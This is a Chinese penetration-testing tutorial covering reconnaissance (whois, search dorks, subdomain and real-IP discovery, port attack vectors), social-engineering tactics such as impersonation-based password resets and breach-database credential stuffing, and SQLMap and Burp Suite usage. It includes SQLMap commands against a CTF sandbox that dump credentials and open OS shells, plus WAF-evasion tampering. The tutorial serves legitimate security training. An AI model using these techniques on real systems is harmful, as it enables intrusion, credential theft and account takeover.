渗透测试实战指南
信息收集
进行渗透测试之前,最重要的一步就是信息收集,在这个阶段,我们要尽可能地收集目标组织的信息.所谓“知己知彼,百战不殆”,我们越是了解测试目标,测试的工作就越容易.在信息收集中,最主要的就是收集服务器的配置信息和网站的敏感信息,其中包括域名及子域名信息、目标网站系统、CMS指纹、目标网站真实IP、开放的端口等.换句话说,只要是与目标网站相关的信息,我们都应该去尽量搜集.
收集域名信息
知道目标的域名之后,我们要做的第一件事就是获取域名的注册信息,包括该域名的DNS服务器信息和注册人的联系信息等.
Whois查询
Whois是一个标准的互联网协议,可用于收集网络注册信息,注册的域名、IP地址等信息.简单来说,Whois就是一个用于查询域名是否已被注册以及注册域名的详细信息的数据库(如域名所有人、域名注册商).在Whois查询中,得到注册人的姓名和邮箱信息通常对测试个人站点非常有用,因为我们可以通过搜索引擎和社交网络挖掘
出域名所有人的很多信息.对中小站点而言,域名所有人往往就是管理员.不同域名后缀的whois信息需要到不同的whois数据库查询.
在Kali系统中,Whois已经默认安装,只需输入要查询的域名即可.
在线Whois查询的常用网站有爱站工具网(https://whois.aizhan.com)和站长之家(http://whois.chinaz.com)通过这些网站可以查询域名的相关信息,如域名服商、域名拥有者,以及他们的邮箱、电话、地址等.
备案查询
ICP备案介绍:Internet Content Provider(网络内容提供商),国家对经营性互联网信息服务实行许可制度;对非经营性互联网信息服务实行备案制度.
网站备案是根据国家法律法规规定,需要网站的所有者向国家有关部门申请的备案,这是国家信息产业部对网站的一种管理,为了防止在网上从事非法的网站经营活动的发生.主要针对国内网站,如果网站搭建在其他国家,则不需要进行备案.
常用的网站有以下这两个:
- 站长工具: http://icp.chinaz.com/
- 天眼查: http://www.tianyancha.com/
收集敏感信息
Google是世界上最强的搜索引擎之一,对一位渗透测试者而言,它可能是一款绝佳的黑客工具.我们可以通过构造特殊的关键字语法来搜索互联网上的相关敏感信息.
关键字 | 说明 |
---|---|
site | 指定域名 |
inurl | URL中存在关键字的网页 |
intext | 网页正文中的关键字 |
filetype | 指定文件类型 |
intitle | 网页标题中的关键字 |
link | link:baidu.com即表示返回所有和baidu.com做了链接的URL |
info | 查找指定站点的一些基本信息 |
cache | 搜索Google里关于某些内容的缓存 |
利用Google搜索,我们可以很轻松地得到想要的信息,还可以用它来收集数据库文件、SQL注入、配置信息、源代码泄露、未授权访问和robots.txt等敏感信息.
当然,不仅是Google搜索引擎,这种搜索思路还可以用在百度、雅虎、Bing、Shodan等搜索引擎上,其语法也大同小异.
另外,通过Burp Suite的Repeater功能同样可以获取一些服务器的信息,如运行的Server类型及版本、PHP的版本信息等.针对不同的Server,可以利用不同的漏洞进行测试.
除此之外,也可以尝试在GitHub上寻找相关敏感信息,如数据库连接信息、邮箱密码、uc-key、阿里的osskey,有时还可以找到泄露的源代码等.
收集子域名信息
子域名也就是二级域名,是指顶级域名下的域名.假设我们的目标网络规模比较大,直接从主域入手显然是很不理智的,因为对于这种规模的目标,一般其主域都是重点防护区域,所以不如先进入目标的某个子域,然后再想办法迂回接近真正的目标,这无疑是个比较好的选择.
1.子域名检测工具
用于子域名检测的工具主要有Layer子域名挖掘机、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等.
2.搜索引擎枚举
可利用搜索引擎相关语法搜索子域名
3.第三方聚合应用枚举
很多第三方服务汇聚了大量DNS数据集,可通过它们检索某个给定域名的子域名.只需在其搜索栏中输入域名,就可检索到相关的域名信息.
也可以利用DNSdumpster网站(https://dnsdumpster.com/),站长工具(https://tool.chinaz.com/subdomain),在线DNS侦查和搜索的工具挖掘出指定域潜藏的大量子域.
4.证书透明度公开日志枚举
证书透明度(Certificate Transparency, CT)是证书授权机构(CA)的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中.一个SSL/TLS证书通常包含域名、子域名和邮件地址,这些也经常成为攻击者非常希望获得的有用信息.查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志.
网站:https://crt.sh/或http://censys.io/
收集常用端口信息
在渗透测试的过程中,对端口信息的收集是一个很重要的过程,通过扫描服务器开放的端口以及从该端口判断服务器上存在的服务,就可以对症下药,便于我们渗透目标服务器.
所以在端口渗透信息的收集过程中,我们需要关注常见应用的默认端口和在端口上运行的服务.最常见的扫描工具就是Nmap、无状态端口扫描工具Masscan、ZMap和御剑高速TCP端口扫描工具.
常见的端口及其说明,以及攻击方向汇总如下:
文件共享服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
21/22/69 | Ftp/Tftp文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
2049 | Nfs服务 | 配置不当 |
139 | Samba服务 | 爆破、未授权访问、远程代码执行 |
389 | Ldap轻型目录访问协议 | 注入、允许匿名访问、弱口令 |
远程连接服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | Rdp远程桌面连接 | Shift后门(需要Windows Server 2003以下的系统)、爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PyAnywhere服务 | 抓密码、代码执行 |
web应用服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
80/443/8080 | 常见的Web服务端口 | Web攻击、爆破、对应服务器版本漏洞 |
7001/7002 | WebLogic控制台 | Java反序列化、弱口令 |
8080/8089 | Jboss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | Webmin-Web控制面板 | 弱口令 |
数据库服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
3306 | MySQL | 注入、提权、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹Shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017/27018 | MongoDB | 爆破、未授权访问 |
6379 | Redis数据库 | 可尝试未授权访问、弱口令爆破 |
5000 | SysBase/DB2数据库 | 爆破、注入 |
邮件服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破 |
网络常见协议端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
53 | DNS域名系统 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67/68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
特殊服务端口
端口 | 端口说明 | 攻击方向 |
---|---|---|
2181 | Zookeeper服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200/9300 | Elasticsearch服务 | 远程执行 |
11211 | Memcache服务 | 未授权访问 |
512/513/514 | Linux Rexee服务 | 爆破、Rlogin登录 |
873 | Rsync服务 | 匿名访问、文件上传 |
3690 | Svn服务 | Svn泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
指纹识别
此处所说的指纹是指网站CMS指纹识别、计算机操作系统及Web容器的指纹识别等。
应用程序一般在html、js、 css等文件中多多少少会包含一些特征码,比如WordPress在robots.txt中会包含wp-admin、首页index.php中会包含generator-=wordpress 3.xx,,这个特征就是这个CMS的指纹,那么当碰到其他网站也存在此特征时,就可以快速识别出该CMS,所以叫作指纹识别。
在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。
CMS(Content Management System)又称整站系统或文章系统。常见的CMS有Dedecms (织梦)、Discuz、 PHPWEB、 PHPWind、PHPCMS、ECShop、Dvbbs、 SiteWeaver、 ASPCMS、帝国、Z- Blog、WordPress等。
代表工具有御剑Web指纹识别、WhatWeb、 WebRobo、 椰树、轻量WEB指纹识别等,可以快速识别一些主流CMS。
除了这些工具,还可以利用一些在线网站查询CMS指纹识别:
- BugScaner: http://whatweb.bugscaner.com/look/
- 云悉指纹: http://www.yunsee.cn/finger.html
查找真实IP
在渗透测试过程中,目标服务器可能只有一个域名,那么如何通过这个域名来确定目标服务器的真实IP对渗透测试来说就很重要。如果目标服务器不存在CDN,可以直接通过ip138获取目标的一些IP及域名信息。这里主要讲解在以下这几种情况下,如何绕过CDN寻找目标服务器的真实IP。
1.目标服务器存在CDN
CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。说得简单点,就是一组在不同运营商之间的对接节点上的高速缓存服务器,把用户经常访问的静态数据资源(例如静态的html、css、js图片等文件)直接缓存到节点服务器上,当用户再次请求时,会直接分发到在离用户近的节点服务器上响应给用户,当用户有实际数据交互时才会从远程Web服务器上响应,这样可以大大提高网站的响应速度及用户体验。
所以如果渗透目标购买了CDN服务,可以直接ping目标的域名,但得到的并非真正的目标Web服务器,只是离我们最近的一台目标节点的CDN服务器,这就导致了我们没法直接得到目标的真实IP段范围。
2.判断目标是否使用了CDN
通常会通过ping目标主域,观察域名的解析情况,以此来判断其是否使用了CDN.
还可以利用在线网站17CE进行全国多地区的ping服务器操作,然后对比每个地区ping出的IP结果,查看这些IP是否一致,如果都是一样的,极有可能不存在CDN。如果IP大多不太一样或者规律性很强,可以尝试查询这些IP的归属地,判断是否存在CDN。
3.绕过CDN寻找真实IP
在确认了目标确实用了CDN以后,就需要绕过CDN寻找目标的真实IP,下面介绍一些常规的方法。
- 内部邮箱源。一般的邮件系统都在内部,没有经过CDN的解析,通过目标网站用户注册或者RSS订阅功能,查看邮件、寻找邮件头中的邮件服务器域名IP,ping这个邮件服务器的域名,就可以获得目标的真实IP(注意,必须是目标自己的邮件服务器,第三方或公共邮件服务器是没有用的)
- 扫描网站测试文件.如phpinfo、test等,从而找到目标的真实IP。
- 分站域名。很多网站主站的访问量会比较大,所以主站都是挂CDN的,但是分站可能没有挂CDN,可以通过ping二级域名获取分站IP,可能会出现分站和主站不是同一个IP但在同一个C段下面的情况,从而能判断出目标的真实IP段。
- 国外访问。国内的CDN往往只对国内用户的访问加速,而国外的CDN就不
一定了。因此,通过国外在线代理网站App Synthetic Monitor访问,可能会得到真实的IP - 查询域名的解析记录。也许目标很久以前并没有用过CDN,所以可以通过
网站NETCRAFT来观察域名的IP历史记录,也可以大致分析出目标的真实IP段。 - 如果目标网站有自己的App,可以尝试利用Fiddler或Burp Suite抓取App的
请求,从里面找到目标的真实IP。 - 绕过CloudFlare CDN查找真实IP。现在很多网站都使用CloudFlare提供的
CDN服务,在确定了目标网站使用CDN后,可以先尝试通过在线网站Cloud
FlareWatch对CloudFlare客户网站进行真实IP查询
参考资料:
4.验证获取的IP
找到目标的真实IP以后,如何验证其真实性呢?如果是Web,最简单的验证方法是直接尝试用IP访问,看看响应的页面是不是和访问域名返回的一样;或者在目标段比较大的情况下,借助类似Masscan的工具批扫描对应IP段中所有开了80、443、8080端口的IP,然后逐个尝试IP访问,观察响应结果是否为目标站点。
收集敏感目录文件
在渗透测试中,探测Web目录结构和隐藏的敏感文件是一个必不可少的环节,从中可以获取网站的后台管理页面、文件上传界面,甚至可能扫描出网站的源代码。
针对网站目录的扫描主要有DirBuster、御剑后台扫描珍藏版、wwwscan、Spinder.py(轻量级快速单文件目录后台扫描)、Sensitivefilescan(轻量级快速单文件目录后台扫描)、Weakfilescan(轻量级快速单文件目录后台扫描),dirb等工具。
除此之外,还可以利用很多在线工具站,效果也相当不错,这里推荐一个: WebScan.
社会工程学
社会工程学在渗透测试中起着不小的作用,利用社会工程学,攻击者可以从一
名员工的口中挖掘出本应该是秘密的信息。
假设攻击者对一家公司进行渗透测试,正在收集目标的真实IP阶段,此时就可以利用收集到的这家公司的某位销售人员的电子邮箱。首先,给这位销售人员发送邮件,假装对某个产品很感兴趣,显然销售人员会回复邮件。这样攻击者就可以通过分析邮件头来收集这家公司的真实IP地址及内部电子邮件服务器的相关信息。
通过进一步地应用社会工程学,假设现在已经收集了目标人物的邮箱、QQ、电话号码、姓名,以及域名服务商,也通过爆破或者撞库的方法获取邮箱的密码,这时就可以冒充目标人物要求客服人员协助重置域管理密码,甚至技术人员会帮着重置密码,从而使攻击者拿下域管理控制台,然后做域劫持。
除此以外,还可以利用“社工库”查询想要得到的信息,社工库是用社会工程学进行攻击时积累的各方数据的结构化数据库。这个数据库里有大量信息,甚至可以找到每个人的各种行为记录。利用收集到的邮箱,可以在社工库中找到已经泄露的密码,其实还可以通过搜索引擎搜索到社交账号等信息,然后通过利用社交和社会工程学得到的信息构造密码字典,对目标用户的邮箱和OA账号进行爆破或者撞库.
常用的渗透测试工具
SQLMap
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、sQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用Union的情况下的注入。
- 堆查询注入,可以同时执行多条语句时的注入。
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。
用法:python sqlmap.py [选项] |
SQLMap入门
1.判断是否存在注入
假设目标注入点是http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1,判断其是否存在注入的命令如下所示:
sqlmap -u http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1 |
还有一种情况, 当注入点后面的参数大于等于两个时,需要加双引号,如下所
示。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1&uid=2" |
可以看到,运行完判断是否存在注入的语句后,”爆出”一大段代码,下面来分析代码反馈给我们的信息。这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在”level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否要继续检测其他参数,一般默认按回车键即可,如下所示。
2.判断文本中的请求是否存在注入
从文件中加载HTTP请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包。
判断是否存在注入的命令如下所示,-r一般在存在cookie注入时使用。
sqlmap -r desktop/1.txt |
3.查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库,如图3-7所示。
sqlmap -u http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1 --dbs |
从下图中可以看到,查询出了4个数据库及所有数据库的库名。当继续注入时,—dbs缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。
4.获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。
如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMap会列出数据
库中所有库的表,如图3-8所示。
sqlmap -u http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables |
当继续注入时,—tables缩写成-T,意思是在某表中继续查询。
5.获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns |
在后续的注入中,—columns缩写成-C.
6.获取字段内容
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下所示。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C username,password --dump |
这里需要获取的数据是sqli数据库里flag表中username和password的值
7.获取数据库的所有用户
该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" --users |
8.获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" --passwords |
密码使用MD5加密,可以在http://www.cmd5.com中自行解密。
9.获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如下所示。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" --current-db |
10.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户,如下所示。
sqlmap -u "http://challenge-fc8eea99a1f73579.sandbox.ctfhub.com:10800/?id=1" --current-user |
SQLMap进阶
1.—level 5:探测等级
参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP
cookie在level为2时就会测试,HTTP User Agent/Referer头在level为3时就会测试。
总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。
2.—is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户,如下所示,在本案例中输入该命令,会返回Ture或False
sqlmap -u "http://192.168.1.7/sql/union.php?id=1" --is-dba |
3.—roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候
4.—referer:HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如—referer http://www.baidu.com.
5.—sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句,如下所示,假设执行select * from users
limit O,1语句
sqlmap -u "http://192.168.1.7/sql/union.php?id=1" --sq|-shell |
6.—os-cmd,—os-shell:运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL, SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell存储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用—os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。—os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是—is-dba的值要为True)。
7.—file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
8.—file-write —file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,读者还可以使用—tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示。
sqlmap XXXXX --tamper "模块名" |
下面是一个tamper脚本的格式:
# sqlmap/tamper/esc apequotes.py |
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
- priority定义脚本的优先级,用于有多个tamper脚本的情况。
- dependencies函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload, **kwargs) 函数接收playload和**kwargs返回一个Payload。下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。
def tamper(pay1oad,**kwargs): |
在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数—identify-waf进行检测。
Burp Suite
Burp Suite代理工具是以拦截代理的方式,拦截所有通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦截HTTP和HTTPS协议的流量,通过拦截,Burp Suite以中间人的方式对客户端的请求数据、服务端的返回信息做各种处理,以达到安全测试的目的。
Burp Suite入门
在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理信息,拦截Web浏览器的流量,并对经过Burp Suite代理的流量数据进行处理。
Burp Suite运行后,Burp Proxy默认本地代理端口为8080
这里以Firefox浏览器为例,单击浏览器右上角”打开菜单”,依次单击”首选项”→”常规”→”网络设置”→”设置”→”手动配置代理”,设置HTTP代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。
Proxy
Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。
Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。
- Forward表示将拦截的数据包或修改后的数据包发送至服务器端。
- Drop表示丢弃当前拦截的数据包。
- Interception is on表示开启拦截功能,单击后变为Interception is off, 表示关闭拦截功能。
- 单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、Intruder等功能组件做进一 步的测试,同时也包含改变数据包请求方式及其body的编码等功能。
打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。
当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包: Raw、Params、Headers和Hex。
- Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试。
- Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。
- Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。
- Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用。
Spider
Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。
Decoder
Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。
Decoder的界面如图3-25所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的”Send to Decoder”选项发送过来;输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项 (Encode as)、散列 (Hash)构成。在实际使用时,可
以根据场景的需要进行设置。
Burp Suite进阶
Scanner
Burp Scanner主要用于自动检测Web系统的各种漏洞。此处介绍Burp
Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。首先,确认Burp Suite正常启动并完成浏览器代理的配置。然后进入Burp
Proxy,关闭代理拦截功能,快速浏览需要扫描的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏洞。而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。
我们随便找一个网站进行测试,选择Burp Target的站点地图选项下的链接,在其链接URL上右击选择”Actively scan this host”
此时会弹出过滤设置,保持默认选项即可扫描整个域
也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描
这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果
我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块
中进行模拟提交分析和验证
当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择”issues” “Report issues”选项,然后导出漏洞报告.
Burp Scanner主要有主动扫描和被动扫描两种扫描方式:
1.主动扫描(Active Scanning)
当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据,直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。
- 客户端的漏洞,如XSS、HTTP头注入、操作重定向。
- 服务端的漏洞,如SQL注入、命令行注入、文件遍历。
对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析。在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的;对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。
2.被动扫描(Passive Scanning)
当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检测。一般来说,下列漏洞在被动模式中容易被检测出来。
- 提交的密码为未加密的明文。
- 不安全的cookie的属性,例如缺少HttpOnly和安全标志。
- cookie的范围缺失。
- 跨域脚本包含和站点引用泄露。
- 表单值自动填充,尤其是密码。
- SSL保护的内容缓存。
- 目录列表。
- 提交密码后应答延迟。
- session令牌的不安全传输。
- 敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。
- 不安全的ViewState的配置。
- 错误或不规范的Content-Type指令。
虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。
Intruder
Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历
等。
它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。
- 标识符枚举。Web应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。
- 提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。
- 模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试
Intruder攻击模式:
- Sniper模式使用单一的Payload组。它会针对每个位置设置Payload.这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。
- Battering ram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。
- Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的Payload组中的Payload数量。
- Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的Payload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍。这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积。
Repeater
Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它最大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、Burp Proxy浏览记录、Burp Intruder的攻击结果,发送到Repeater上,并手动调整这个请求来对漏洞的探测或攻击进行微调。
Repeater分析选项有4种: Raw、Params、Headers和Hex。
- Raw:显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。
- Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求,Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。
- Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息
- Hex:允许直接编辑由原始二进制数据组成的消息。
在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中,捕获特征性的请求消息进行请求重放。
Comparer
Burp Comparer在Burp Suite中主要提供一个可视化的差异比对功能,来对比分析两次数据之间的区别,使用到的场合有:
- 枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的区别。
- 使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次响应的区别在哪里。
- 进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。
使用Comparer时有两个步骤,先是数据加载,然后是差异分析。
Comparer数据加载的常用方式如下所示。
- 从其他Burp工具通过上下文菜单转发过来。
- 直接粘贴。
